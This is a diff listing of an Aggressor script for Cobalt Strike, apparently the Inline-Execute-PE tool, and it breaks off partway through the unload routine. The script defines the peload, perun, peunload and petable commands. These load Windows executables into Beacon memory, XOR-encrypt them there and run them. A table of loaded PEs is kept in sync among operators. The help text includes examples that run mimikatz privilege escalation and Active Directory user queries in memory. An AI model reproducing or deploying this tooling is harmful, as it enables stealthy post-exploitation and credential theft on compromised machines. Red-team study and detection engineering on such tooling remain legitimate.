| 1 | + | global('@loadedPE $key $fillerarg $issuedcommand $petablefile') |
| 2 | + | |
| 3 | + | #Key used to XOR PE in memory |
| 4 | + | $key = "redteam"; |
| 5 | + | |
| 6 | + | #Filler argument used in place of "argv[0]". We have this so operator doesn't have to type the PE name before args, e.g. perun dsquery.exe, perun mimikatz.exe, etc |
| 7 | + | #This can literally be gibberish, it's just a placeholder. |
| 8 | + | $fillerarg = "c:\\windows\\system32\\notepad.exe"; |
| 9 | + | |
| 10 | + | #Boolean controlling whether this client should print to the Beacon console when receiving output relating to Inline-Execute-PE. |
| 11 | + | #This exists so that if for example 4 clients are connnected to a TS, only the client that issued a Inline-Execute-PE command will react to and print messages rather than all 4 doing so. |
| 12 | + | $issuedcommand = 0; |
| 13 | + | |
| 14 | + | #File path to external txt file where petable will be backed up after every modification and where client will try to load from on startup. |
| 15 | + | $petablefile = cwd() . "/petable.txt"; |
| 16 | + | |
| 17 | + | #@loadedPE is an array of arrays. Each array in loadedPE follows this format and each value in the arrays is stored as a string: |
| 18 | + | #@(BeaconID, PID, PEname, User, Date/Time, pMemAddrStruct, Timeout, UnloadLibraries, Aborted) |
| 19 | + | # |
| 20 | + | #Value description: |
| 21 | + | #0. beaconid = CobaltStrike internal identifier for each beacon. Used to create/locate/remove entries in loadedPE when pe commands are issues from a beacon console. |
| 22 | + | #1. pid = Beacon process ID. Stored for ease of reference for Operators. |
| 23 | + | #2. PEname = Name of the PE that was loaded into the beacon process using peload. |
| 24 | + | #3. User = CobaltStrike user alias of the CS client that loaded the PE into beacon process |
| 25 | + | #4. Date/Time = Date and time that the PE was loaded into beacon |
| 26 | + | #5. pMemAddrStruct = Memory address of critical struct in beacon memory used by Inline-Execute-PE to track values across BOF's |
| 27 | + | #6. Timeout = Max number of seconds to wait for PE to finish executing. When PE has ran longer than timeout it is forcibly terminated. |
| 28 | + | #7. UnloadLibraries = Boolean value dictating whether to try and unload DLL's that were loaded by the PE on runtime. Default TRUE. |
| 29 | + | #8. Aborted = Boolen value representing whether perun experienced timeout as set in the Timeout var. Default FALSE. |
| 30 | + | # |
| 31 | + | #$key variable is the string that Inline-Execute-PE will use to XOR encrypt the PE in memory. |
| 32 | + | # |
| 33 | + | |
| 34 | + | |
| 35 | + | ############################## On load try to manually populate Inline-Execute-PE data structure from file ############################## |
| 36 | + | |
| 37 | + | #On initial load, check for/create file to store file upload data |
| 38 | + | if(!-exists $petablefile) |
| 39 | + | { |
| 40 | + | createNewFile($petablefile); |
| 41 | + | |
| 42 | + | if (checkError($error)) |
| 43 | + | { |
| 44 | + | show_error("Could not locate or create upload tracker file (specified as " . $petablefile . ")! Try manually creating this file and then re-load this CNA!") |
| 45 | + | exit(); |
| 46 | + | } |
| 47 | + | else |
| 48 | + | { |
| 49 | + | println("Successfully located " . $petablefile . "!") |
| 50 | + | } |
| 51 | + | } |
| 52 | + | else |
| 53 | + | { |
| 54 | + | #Read in uploads file to create array on startup |
| 55 | + | $handle = openf($petablefile); |
| 56 | + | while $text (readln($handle)) |
| 57 | + | { |
| 58 | + | #Now split beacon_output by space delimeter and assign values as appropriate |
| 59 | + | ($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $text); |
| 60 | + | |
| 61 | + | #Add entry to petable |
| 62 | + | add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted)); |
| 63 | + | } |
| 64 | + | closef($handle); |
| 65 | + | println("Successfully located " . $petablefile . "!") |
| 66 | + | } |
| 67 | + | |
| 68 | + | #This function called each time a clients PE table is modified in order to refresh the local on-disk copy of petable. |
| 69 | + | sub writelogfile |
| 70 | + | { |
| 71 | + | #open $petablefile file and write array out to file to ensure we don't lose data if CS crashes |
| 72 | + | $handle = openf(">" . $petablefile); |
| 73 | + | foreach @entry (@loadedPE) |
| 74 | + | { |
| 75 | + | println($handle, @entry[0] . " ~*~ " . @entry[1] . " ~*~ " . @entry[2] . " ~*~ " . @entry[3] . " ~*~ " . @entry[4] . " ~*~ " . @entry[5] . " ~*~ " . @entry[6] . " ~*~ " . @entry[7] . " ~*~ " . @entry[8]); |
| 76 | + | } |
| 77 | + | closef($handle); |
| 78 | + | } |
| 79 | + | |
| 80 | + | #################################### Parse Beacon output and update Inline-Execute-PE data structure #################################### |
| 81 | + | |
| 82 | + | #Have to capture all beacon output and then filter to determine if it contains Inline-Execute-PE info or not |
| 83 | + | on beacon_output |
| 84 | + | { |
| 85 | + | local('$trash $x @entry') |
| 86 | + | |
| 87 | + | #Look for 'peload' in beacon_output, if it appears we need to parse and grab values |
| 88 | + | if("peload" isin $2) |
| 89 | + | { |
| 90 | + | $x = 0; |
| 91 | + | |
| 92 | + | #Iterate over each array in @loadedPE |
| 93 | + | foreach @entry (@loadedPE) |
| 94 | + | { |
| 95 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 96 | + | if($1 eq @entry[0]) |
| 97 | + | { |
| 98 | + | break; |
| 99 | + | } |
| 100 | + | $x++; |
| 101 | + | } |
| 102 | + | |
| 103 | + | #Now split beacon_output by space delimeter and assign values as appropriate |
| 104 | + | ($trash @loadedPE[$x][5]) = split(" ", split("\n", $2)[-1]); |
| 105 | + | |
| 106 | + | #Announce in beacon console what we have done |
| 107 | + | if(@loadedPE[$x][5] eq "failure") |
| 108 | + | { |
| 109 | + | if($issuedcommand == 1) |
| 110 | + | { |
| 111 | + | berror($1, "\c4Failed to load PE! Clearing petable entry!\c4\n"); |
| 112 | + | } |
| 113 | + | |
| 114 | + | #Remove entry from petable. |
| 115 | + | remove(@loadedPE, @loadedPE[$x]); |
| 116 | + | } |
| 117 | + | else |
| 118 | + | { |
| 119 | + | if($issuedcommand == 1) |
| 120 | + | { |
| 121 | + | blog($1, "\c9Successfully loaded PE!\c9\n"); |
| 122 | + | } |
| 123 | + | } |
| 124 | + | |
| 125 | + | #Set issuedcommand bool back to FALSE so we no longer print messages |
| 126 | + | $issuedcommand = 0; |
| 127 | + | |
| 128 | + | #Re-write local petable file with updated data |
| 129 | + | writelogfile(); |
| 130 | + | } |
| 131 | + | #Look for perun timeout, indicating that perun was aborted prematurely. Have to mark this beacon as unable to load additional PE's now. |
| 132 | + | else if("perun timeout" isin $2) |
| 133 | + | { |
| 134 | + | $x = 0; |
| 135 | + | |
| 136 | + | #Iterate over each array in @loadedPE |
| 137 | + | foreach @entry (@loadedPE) |
| 138 | + | { |
| 139 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 140 | + | if($1 eq @entry[0]) |
| 141 | + | { |
| 142 | + | break; |
| 143 | + | } |
| 144 | + | $x++; |
| 145 | + | } |
| 146 | + | |
| 147 | + | #Update entry with invisible "aborted" entry so we can alter display in petable and prevent loading of additional PE's. |
| 148 | + | @loadedPE[$x][8] = "TRUE"; |
| 149 | + | if($issuedcommand == 1) |
| 150 | + | { |
| 151 | + | blog($1, "\c4PE exceeded timeout! PE thread aborted, run peunload to clear PE from memory.\c4"); |
| 152 | + | blog($1, "\c8Additional PE's CANNOT be loaded into this beacon!\c8\n"); |
| 153 | + | } |
| 154 | + | |
| 155 | + | #Set issuedcommand bool back to FALSE so we no longer print messages |
| 156 | + | $issuedcommand = 0; |
| 157 | + | |
| 158 | + | #Re-write local petable file with updated data |
| 159 | + | writelogfile(); |
| 160 | + | |
| 161 | + | } |
| 162 | + | #perun complete indicates a successful return from perun. This only exists so we can turn off the issuedcommand bool so we don't have multiple clients printing on subsequent output. |
| 163 | + | else if("perun complete" isin $2) |
| 164 | + | { |
| 165 | + | #Set issuedcommand bool back to FALSE so we no longer print messages |
| 166 | + | $issuedcommand = 0; |
| 167 | + | } |
| 168 | + | #perun successful means we have to update/remove entry from petable |
| 169 | + | else if("peunload successful" isin $2) |
| 170 | + | { |
| 171 | + | $x = 0; |
| 172 | + | |
| 173 | + | #Iterate over each array in @loadedPE |
| 174 | + | foreach @entry (@loadedPE) |
| 175 | + | { |
| 176 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 177 | + | if($1 eq @entry[0]) |
| 178 | + | { |
| 179 | + | break; |
| 180 | + | } |
| 181 | + | $x++; |
| 182 | + | } |
| 183 | + | |
| 184 | + | #If Aborted == TRUE, clear some info but leave entry in table so that user's know they can't load another PE into this beacon. |
| 185 | + | if(@loadedPE[$x][8] eq "TRUE") |
| 186 | + | { |
| 187 | + | @loadedPE[$x][2] = "DISABLED!"; |
| 188 | + | @loadedPE[$x][5] = "null"; |
| 189 | + | |
| 190 | + | if($issuedcommand == 1) |
| 191 | + | { |
| 192 | + | blog($1, "\c9Successfully unloaded PE from Beacon!\c9"); |
| 193 | + | blog($1, "\c4Note: This beacon aborted during perun and will be unable to load another PE!\c4"); |
| 194 | + | } |
| 195 | + | } |
| 196 | + | else |
| 197 | + | { |
| 198 | + | #Remove entire entry from petable. |
| 199 | + | remove(@loadedPE, @loadedPE[$x]); |
| 200 | + | |
| 201 | + | if($issuedcommand == 1) |
| 202 | + | { |
| 203 | + | blog($1, "\c9Successfully unloaded PE from beacon!\c9\n"); |
| 204 | + | } |
| 205 | + | } |
| 206 | + | |
| 207 | + | #Set issuedcommand bool back to FALSE so we no longer print messages |
| 208 | + | $issuedcommand = 0; |
| 209 | + | |
| 210 | + | #Re-write local petable file with updated data |
| 211 | + | writelogfile(); |
| 212 | + | } |
| 213 | + | } |
| 214 | + | |
| 215 | + | |
| 216 | + | ###################################### Parse Event Log and update Inline-Execute-PE data structure ###################################### |
| 217 | + | |
| 218 | + | #Parse all events that hit the Event Log and act on those concerning Inline-Execute-PE events as well as notifications of new users joining the TS |
| 219 | + | on event_action |
| 220 | + | { |
| 221 | + | local('$trash $bid $pid $pe $user $datetime $structaddr $timeout $unloadlibraries $aborted $option $setting $x'); |
| 222 | + | #If peload is in the event message, a new petable entry was created by a client and needs to be added to every other clients table. |
| 223 | + | if("peload" isin $2) |
| 224 | + | { |
| 225 | + | #Now split beacon_output by space delimeter and assign values as appropriate |
| 226 | + | ($trash, $bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $2); |
| 227 | + | |
| 228 | + | #Add entry to petable |
| 229 | + | add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted)); |
| 230 | + | |
| 231 | + | #Re-write local petable file with updated data |
| 232 | + | writelogfile(); |
| 233 | + | } |
| 234 | + | |
| 235 | + | #If peconfig is in the event message, we need to alter an existing petable entry. |
| 236 | + | else if("peconfig" isin $2) |
| 237 | + | { |
| 238 | + | #Now split beacon_output by space delimeter and assign values as appropriate |
| 239 | + | ($trash, $bid, $option, $setting) = split(' ~\*~ ', $2); |
| 240 | + | |
| 241 | + | $x = 0; |
| 242 | + | #Iterate over each array in @loadedPE |
| 243 | + | foreach @entry (@loadedPE) |
| 244 | + | { |
| 245 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 246 | + | if($bid eq @entry[0]) |
| 247 | + | { |
| 248 | + | break; |
| 249 | + | } |
| 250 | + | $x++; |
| 251 | + | } |
| 252 | + | |
| 253 | + | #Update the proper option (timeout/unloadlibraries) |
| 254 | + | if($option eq "timeout") |
| 255 | + | { |
| 256 | + | @loadedPE[$x][6] = $setting; |
| 257 | + | } |
| 258 | + | else #unloadlibraries |
| 259 | + | { |
| 260 | + | @loadedPE[$x][7] = $setting; |
| 261 | + | } |
| 262 | + | |
| 263 | + | #Re-write local petable file with updated data |
| 264 | + | writelogfile(); |
| 265 | + | } |
| 266 | + | |
| 267 | + | #If pebroadcast is in event message and this client didn't send the broadcast, we need to sync our petable with the broadcasted one |
| 268 | + | else if("pebroadcast" isin $2 && $1 ne mynick()) |
| 269 | + | { |
| 270 | + | #Now split beacon_output by space delimeter and assign values as appropriate |
| 271 | + | ($trash, $bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted) = split(' ~\*~ ', $2); |
| 272 | + | |
| 273 | + | $x = 0; |
| 274 | + | $existingentry = 0; |
| 275 | + | |
| 276 | + | #Iterate over each array in @loadedPE |
| 277 | + | foreach @entry (@loadedPE) |
| 278 | + | { |
| 279 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 280 | + | if($bid eq @entry[0]) |
| 281 | + | { |
| 282 | + | $existingentry = 1; |
| 283 | + | break; |
| 284 | + | } |
| 285 | + | $x++; |
| 286 | + | } |
| 287 | + | |
| 288 | + | #If we found an entry with the same $bid, update that entry |
| 289 | + | if($existingentry == 1) |
| 290 | + | { |
| 291 | + | @loadedPE[$x][1] = $pid; |
| 292 | + | @loadedPE[$x][2] = $pe; |
| 293 | + | @loadedPE[$x][3] = $user; |
| 294 | + | @loadedPE[$x][4] = $datetime; |
| 295 | + | @loadedPE[$x][5] = $structaddr; |
| 296 | + | @loadedPE[$x][6] = $timeout; |
| 297 | + | @loadedPE[$x][7] = $unloadlibraries; |
| 298 | + | @loadedPE[$x][8] = $aborted; |
| 299 | + | } |
| 300 | + | #Else we need to add a new row to petable for the entry we didn't have before. |
| 301 | + | else |
| 302 | + | { |
| 303 | + | #Add entry to petable |
| 304 | + | add(@loadedPE, @($bid, $pid, $pe, $user, $datetime, $structaddr, $timeout, $unloadlibraries, $aborted)); |
| 305 | + | } |
| 306 | + | |
| 307 | + | #Re-write local petable file with updated data |
| 308 | + | writelogfile(); |
| 309 | + | } |
| 310 | + | } |
| 311 | + | |
| 312 | + | #################################### Pass Inline-Execute-PE data structure to new users joining TS ##################################### |
| 313 | + | |
| 314 | + | on event_join |
| 315 | + | { |
| 316 | + | #Query CS data model for users currently connected to TS, sort alphabetically |
| 317 | + | @users = sorta(data_query("users")); |
| 318 | + | |
| 319 | + | #If this client is the first user (alphabetically), they will broadcast their petable so that all other clients may update / populate their tables. |
| 320 | + | if(@users[0] eq mynick()) |
| 321 | + | { |
| 322 | + | #We are going to sleep for 5 seconds to allow the new CS client to fully startup + try and read from the local petable file (if it exists) |
| 323 | + | sleep(5000); |
| 324 | + | |
| 325 | + | foreach @entry (@loadedPE) |
| 326 | + | { |
| 327 | + | action("pebroadcast" . " ~*~ " . @entry[0] . " ~*~ " . @entry[1] . " ~*~ " . @entry[2] . " ~*~ " . @entry[3] . " ~*~ " . @entry[4] . " ~*~ " . @entry[5] . " ~*~ " . @entry[6] . " ~*~ " . @entry[7] . " ~*~ " . @entry[8]); |
| 328 | + | } |
| 329 | + | } |
| 330 | + | } |
| 331 | + | |
| 332 | + | ################################################################ petable ################################################################ |
| 333 | + | |
| 334 | + | alias petable |
| 335 | + | { |
| 336 | + | local('@temparr'); |
| 337 | + | #If 'petable clear' is issued, iterate through table and remove any entries for beacons that have exited or haven't called back in 3x their sleep time (assumed dead); |
| 338 | + | if($2 eq "clear") |
| 339 | + | { |
| 340 | + | foreach @entry (@loadedPE) |
| 341 | + | { |
| 342 | + | println(@entry); |
| 343 | + | $bid = @entry[0]; |
| 344 | + | if( !-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3)) |
| 345 | + | { |
| 346 | + | #Have to build temporary array since we can't remove array items while iterating over that array |
| 347 | + | add(@temparr, @entry); |
| 348 | + | } |
| 349 | + | } |
| 350 | + | |
| 351 | + | #Now remove each item in temparr from actual table |
| 352 | + | foreach @entry (@temparr) |
| 353 | + | { |
| 354 | + | remove(@loadedPE, @entry); |
| 355 | + | } |
| 356 | + | } |
| 357 | + | |
| 358 | + | #Otherwise print table |
| 359 | + | else |
| 360 | + | { |
| 361 | + | $head1 = "PID"; |
| 362 | + | $head2 = "PEname"; |
| 363 | + | $head3 = "Loaded By"; |
| 364 | + | $head4 = "Date/Time"; |
| 365 | + | $head5 = "pMemAddrStruct"; |
| 366 | + | $head6 = "Timeout"; |
| 367 | + | $head7 = "UnloadLibraries"; |
| 368 | + | |
| 369 | + | blog($1, ""); |
| 370 | + | blog($1, "\c9Green Entries\c9 = Active beacons"); |
| 371 | + | blog($1, "\c4Red Entries = Active beacons that can no longer load a PE"); |
| 372 | + | blog($1, "White Entries = Inactive beacons"); |
| 373 | + | blog($1, ""); |
| 374 | + | blog($1, "$[10]head1 $[30]head2 $[15]head3 $[15]head4 $[15]head5 $[15]head6 $[15]head7"); |
| 375 | + | blog($1, "-" x 122); |
| 376 | + | |
| 377 | + | foreach @entry (@loadedPE) |
| 378 | + | { |
| 379 | + | $bid = @entry[0]; |
| 380 | + | $pid = @entry[1]; |
| 381 | + | $PEname = @entry[2]; #split("/", @entry[2], 50)[-1]; |
| 382 | + | $user = @entry[3]; |
| 383 | + | $datetime = @entry[4]; |
| 384 | + | $pMemAddrStruct = @entry[5]; |
| 385 | + | $timeout = @entry[6]; |
| 386 | + | $bUnloadLibraries = @entry[7]; |
| 387 | + | |
| 388 | + | #Display still active beacons that have aborted a perun command as RED -> Cannot load another PE into them. |
| 389 | + | if( -isactive $bid && binfo($bid, "last") <= (binfo($bid, "sleep")[0] * 1000 * 3) && @entry[8] eq "TRUE") |
| 390 | + | { |
| 391 | + | blog($1, "\c4$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries\c4"); |
| 392 | + | } |
| 393 | + | #Display still active beacons as GREEN |
| 394 | + | else if(-isactive $bid && binfo($bid, "last") <= (binfo($bid, "sleep")[0] * 1000 * 3)) |
| 395 | + | { |
| 396 | + | blog($1, "\c9$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries\c9"); |
| 397 | + | } |
| 398 | + | #Display inactive beacons and those that haven't called back within 3x the sleep time as normal/white. |
| 399 | + | else |
| 400 | + | { |
| 401 | + | blog($1, "$[10]pid $[30]PEname $[15]user $[15]datetime $[15]pMemAddrStruct $[15]timeout $[15]bUnloadLibraries"); |
| 402 | + | } |
| 403 | + | } |
| 404 | + | blog($1, ""); |
| 405 | + | } |
| 406 | + | } |
| 407 | + | |
| 408 | + | beacon_command_register( |
| 409 | + | "petable", |
| 410 | + | "View the table of currently loaded unmanaged Windows executables in Beacons", |
| 411 | + | " |
| 412 | + | Command: petable |
| 413 | + | Summary: This command will display a table detailing all beacons in which a PE has been loaded. |
| 414 | + | The table may additionally be cleared of old entries concerning dead beacons. |
| 415 | + | |
| 416 | + | Usage: petable <optional arg> |
| 417 | + | <optional arg> Optional. 'clear' may be specified to clear entries from the table where Beacon is dead or has exceeded 3x callback time. |
| 418 | + | |
| 419 | + | Example: petable <- This example will display the table of Beacons with loaded PE's. |
| 420 | + | Example: petable clear <- This example will clear the table of entries concerning Beacons that are either dead or who have exceeded 3x the callback time. |
| 421 | + | " |
| 422 | + | ); |
| 423 | + | |
| 424 | + | ################################################################ peload ################################################################# |
| 425 | + | |
| 426 | + | alias peload |
| 427 | + | { |
| 428 | + | local('$bid $barch $PE $args $x $matchfound'); |
| 429 | + | |
| 430 | + | $bid = $1; |
| 431 | + | |
| 432 | + | if(1 > size(@_) || 2 < size(@_) ) |
| 433 | + | { |
| 434 | + | berror($bid, "Invalid number of arguments"); |
| 435 | + | berror($bid, beacon_command_detail("peload")); |
| 436 | + | return; |
| 437 | + | } |
| 438 | + | |
| 439 | + | $barch = barch($bid); |
| 440 | + | if($barch ne "x64") |
| 441 | + | { |
| 442 | + | berror($1, "Only x64 is supported... sorry"); |
| 443 | + | return; |
| 444 | + | } |
| 445 | + | |
| 446 | + | #Make sure user hasn't specified a key greater than 99 characters in length so we don't overflow var in BOF |
| 447 | + | if(strlen($key) > 99) |
| 448 | + | { |
| 449 | + | show_error("Inline-Execute-PE XOR key may not be longer than 99 characters! Edit Inline-Execute-PE.cna and reload!"); |
| 450 | + | berror($1, "Inline-Execute-PE XOR key may not be longer than 99 characters! Edit Inline-Execute-PE.cna and reload!") |
| 451 | + | exit(); |
| 452 | + | } |
| 453 | + | |
| 454 | + | #Need to look at petable and see if there is already an entry for this beacon-> means there is already a mapped PE, don't let user map another |
| 455 | + | $x = 0; |
| 456 | + | $matchfound = 0; |
| 457 | + | |
| 458 | + | #Iterate over each array in @loadedPE |
| 459 | + | foreach @entry (@loadedPE) |
| 460 | + | { |
| 461 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 462 | + | if($bid eq @entry[0]) |
| 463 | + | { |
| 464 | + | $matchfound = 1; |
| 465 | + | break; |
| 466 | + | } |
| 467 | + | $x++; |
| 468 | + | } |
| 469 | + | |
| 470 | + | if($matchfound == 1) |
| 471 | + | { |
| 472 | + | berror($bid, "This beacon already has a loaded PE: " . @loadedPE[$x][2]); |
| 473 | + | exit(); |
| 474 | + | } |
| 475 | + | else if(!-exists $2) |
| 476 | + | { |
| 477 | + | berror($bid, "Specified executable does not exist!\n"); |
| 478 | + | exit(); |
| 479 | + | } |
| 480 | + | else |
| 481 | + | { |
| 482 | + | # read in the right BOF file |
| 483 | + | $handle = openf($2); |
| 484 | + | $PE = readb($handle, -1); |
| 485 | + | closef($handle); |
| 486 | + | |
| 487 | + | #Create array in @loadedPE to store PE data. |
| 488 | + | #Values: BeaconID, PID, PEname, User, Date/Time, pMemAddrStruct, Timeout, UnloadLibraries, Aborted |
| 489 | + | action("peload" . " ~*~ " . $bid . " ~*~ " . binfo($bid, "pid") . " ~*~ " . split("/", $2, 50)[-1] . " ~*~ " . mynick() . " ~*~ " . tstamp(ticks()) . " ~*~ " . "null" . " ~*~ " . "60" . " ~*~ " . "TRUE" . " ~*~ " . "FALSE"); |
| 490 | + | |
| 491 | + | #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF; |
| 492 | + | $issuedcommand = 1; |
| 493 | + | |
| 494 | + | loadpe($bid, $PE); |
| 495 | + | } |
| 496 | + | } |
| 497 | + | |
| 498 | + | sub loadpe{ |
| 499 | + | #Figure out the arch of this session |
| 500 | + | $barch = barch($1); |
| 501 | + | |
| 502 | + | # read in the right BOF file |
| 503 | + | $handle = openf(script_resource("peload. $+ $barch $+ .o")); |
| 504 | + | $data = readb($handle, -1); |
| 505 | + | closef($handle); |
| 506 | + | |
| 507 | + | # Pack the arguments |
| 508 | + | $args = bof_pack($1, "bz", $2, $key); |
| 509 | + | |
| 510 | + | # Execute BOF |
| 511 | + | beacon_inline_execute($1, $data, "go", $args); |
| 512 | + | } |
| 513 | + | |
| 514 | + | beacon_command_register( |
| 515 | + | "peload", |
| 516 | + | "Load an unmanaged Windows executable into Beacon memory", |
| 517 | + | " |
| 518 | + | Command: peload |
| 519 | + | Summary: This command will run a BOF to load an unmanaged PE into Beacon memory. |
| 520 | + | Supports x64 C or C++ binaries compiled with mingw or visual studio. Binaries outside these parameters are untested. |
| 521 | + | |
| 522 | + | Usage: peload </path/to/binary.exe> |
| 523 | + | </path/to/binary.exe> Required. Full path to the windows EXE you wish you load into the Beacon. |
| 524 | + | |
| 525 | + | Example: peload /root/windows_binaries/dsquery_win7.exe |
| 526 | + | " |
| 527 | + | ); |
| 528 | + | |
| 529 | + | ################################################################# perun ################################################################# |
| 530 | + | |
| 531 | + | alias perun |
| 532 | + | { |
| 533 | + | local('$cmdline $args $pMemAddrStruct $x $matchfound $timeout %params @keys'); |
| 534 | + | |
| 535 | + | $bid = $1; |
| 536 | + | |
| 537 | + | #Need to look at petable and make sure there is a mapped PE in this beacon, else exit and inform user they need to map one |
| 538 | + | $x = 0; |
| 539 | + | $matchfound = 0; |
| 540 | + | |
| 541 | + | #Iterate over each array in @loadedPE |
| 542 | + | foreach @entry (@loadedPE) |
| 543 | + | { |
| 544 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 545 | + | if($bid eq @entry[0]) |
| 546 | + | { |
| 547 | + | $matchfound = 1; |
| 548 | + | break; |
| 549 | + | } |
| 550 | + | $x++; |
| 551 | + | } |
| 552 | + | |
| 553 | + | if($matchfound == 0) |
| 554 | + | { |
| 555 | + | berror($bid, "There is not a PE mapped in this beacon!"); |
| 556 | + | exit(); |
| 557 | + | } |
| 558 | + | else if(@loadedPE[$x][8] eq "TRUE") |
| 559 | + | { |
| 560 | + | berror($bid, "This Beacon cannot run a PE because the timeout condition was reached!"); |
| 561 | + | exit(); |
| 562 | + | } |
| 563 | + | else |
| 564 | + | { |
| 565 | + | $pMemAddrStruct = @loadedPE[$x][5]; |
| 566 | + | $cmdline = $fillerarg; |
| 567 | + | $timeout = @loadedPE[$x][6]; |
| 568 | + | |
| 569 | + | $y = 0; |
| 570 | + | #Iterate through args given to perun |
| 571 | + | foreach $arg (@_) |
| 572 | + | { |
| 573 | + | #Discard the first arg; this is always the beacon ID which we don't need. Otherwise build final cmdline string by concatenating args. |
| 574 | + | if($arg ne @_[0]) |
| 575 | + | { |
| 576 | + | #We have instructed users to 'escape' double quotes by using a backslash; identify this and replace with a normal double quote. |
| 577 | + | $arg = strrep($arg, '\\"', '"'); |
| 578 | + | println("arg " . $y . " is: " . $arg . "\n"); |
| 579 | + | $cmdline = $cmdline . " " . $arg; |
| 580 | + | } |
| 581 | + | $y++; |
| 582 | + | } |
| 583 | + | |
| 584 | + | #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF; |
| 585 | + | $issuedcommand = 1; |
| 586 | + | |
| 587 | + | runpe($1, $pMemAddrStruct, $cmdline, $timeout); |
| 588 | + | } |
| 589 | + | } |
| 590 | + | |
| 591 | + | sub runpe{ |
| 592 | + | #Figure out the arch of this session |
| 593 | + | $barch = barch($1); |
| 594 | + | |
| 595 | + | # read in the right BOF file |
| 596 | + | $handle = openf(script_resource("perun. $+ $barch $+ .o")); |
| 597 | + | $data = readb($handle, -1); |
| 598 | + | closef($handle); |
| 599 | + | |
| 600 | + | # Pack the arguments |
| 601 | + | $args = bof_pack($bid, "zzzi", $key, $2, $3, $4); |
| 602 | + | |
| 603 | + | # Execute BOF |
| 604 | + | beacon_inline_execute($bid, $data, "go", $args); |
| 605 | + | } |
| 606 | + | |
| 607 | + | beacon_command_register( |
| 608 | + | "perun", |
| 609 | + | "Execute an unmanaged Windows executable in Beacon memory", |
| 610 | + | " |
| 611 | + | Command: perun |
| 612 | + | Summary: This command will run a BOF to execute an unmanaged PE that was previously loaded using the peload command. |
| 613 | + | Provide any command line arguments to the PE immediately following perun. |
| 614 | + | Any double quotes (\") in the command line arguments must be escaped using the backslash (\) character. |
| 615 | + | |
| 616 | + | Usage: perun <arg> <arg> <arg> ... |
| 617 | + | <arg> An argument to the loaded PE. Do not specify the name of the executable, this is covered by the \"fillerarg\" variable in the aggressor script. |
| 618 | + | |
| 619 | + | Example: perun privilege::debug token::elevate exit <- This example when mimikatz.exe was loaded using peload |
| 620 | + | Example: perun * -filter \"(objectclass=user)\" -attr * -Limit 1 <- This example when dsquery.exe was loaded using peload. Notice backslash to escape double quotes. |
| 621 | + | Example: perun /c cd <- This example when cmd.exe was loaded using peload. |
| 622 | + | Example: perun -acceptula -p explorer.exe <- This example when handle64.exe (sysinternals) was loaded using peload. |
| 623 | + | Example: perun Get-MpPreference <- This example when powershell.exe was loaded using peload. |
| 624 | + | " |
| 625 | + | ); |
| 626 | + | |
| 627 | + | ################################################################ peunload ############################################################### |
| 628 | + | |
| 629 | + | alias peunload |
| 630 | + | { |
| 631 | + | local('$args $pMemAddrStruct $x $bUnloadLibraries'); |
| 632 | + | |
| 633 | + | $bid = $1; |
| 634 | + | |
| 635 | + | if( size(@_) > 1) |
| 636 | + | { |
| 637 | + | berror($bid, "Invalid number of arguments"); |
| 638 | + | berror($bid, beacon_command_detail("peunload")); |
| 639 | + | exit(); |
| 640 | + | } |
| 641 | + | |
| 642 | + | if(!-isactive $bid || binfo($bid, "last") >= (binfo($bid, "sleep")[0] * 1000 * 3)) |
| 643 | + | { |
| 644 | + | berror($1, "Cannot unload PE from a Beacon that is not alive or has not called back within 3x the set sleep time!"); |
| 645 | + | exit(); |
| 646 | + | } |
| 647 | + | |
| 648 | + | #Need to look at petable and make sure there is a mapped PE in this beacon, else exit and inform user they need to map one |
| 649 | + | $x = 0; |
| 650 | + | $matchfound = 0; |
| 651 | + | |
| 652 | + | #Iterate over each array in @loadedPE |
| 653 | + | foreach @entry (@loadedPE) |
| 654 | + | { |
| 655 | + | #Check if bid matches first entry in the array; if so, this array is the one we want to alter data in. |
| 656 | + | if($bid eq @entry[0]) |
| 657 | + | { |
| 658 | + | $matchfound = 1; |
| 659 | + | break; |
| 660 | + | } |
| 661 | + | $x++; |
| 662 | + | } |
| 663 | + | |
| 664 | + | if($matchfound == 0) |
| 665 | + | { |
| 666 | + | berror($bid, "There is not a PE mapped in this beacon!"); |
| 667 | + | exit(); |
| 668 | + | } |
| 669 | + | else if(@loadedPE[$x][2] eq "DISABLED!") |
| 670 | + | { |
| 671 | + | berror($bid, "There is not a PE mapped in this beacon!"); |
| 672 | + | exit(); |
| 673 | + | } |
| 674 | + | else |
| 675 | + | { |
| 676 | + | #Translate bUnloadLibraries in table to numerical representation |
| 677 | + | if(@loadedPE[$x][7] eq "TRUE") |
| 678 | + | { |
| 679 | + | $bUnloadLibraries = 1; |
| 680 | + | } |
| 681 | + | else |
| 682 | + | { |
| 683 | + | $bUnloadLibraries = 0; |
| 684 | + | } |
| 685 | + | |
| 686 | + | $pMemAddrStruct = @loadedPE[$x][5]; |
| 687 | + | |
| 688 | + | #Set issuedcommand bool to TRUE so we print messages when we get feeback from BOF; |
| 689 | + | $issuedcommand = 1; |
| 690 | + | |
| 691 | + | unloadpe($bid, $pMemAddrStruct, $bUnloadLibraries); |
| 692 | + | } |
| 693 | + | |
| 694 | + | |
| 695 | + | } |
| 696 | + | |
| 697 | + | sub unloadpe{ |
| 698 | + | #Figure out the arch of this session |
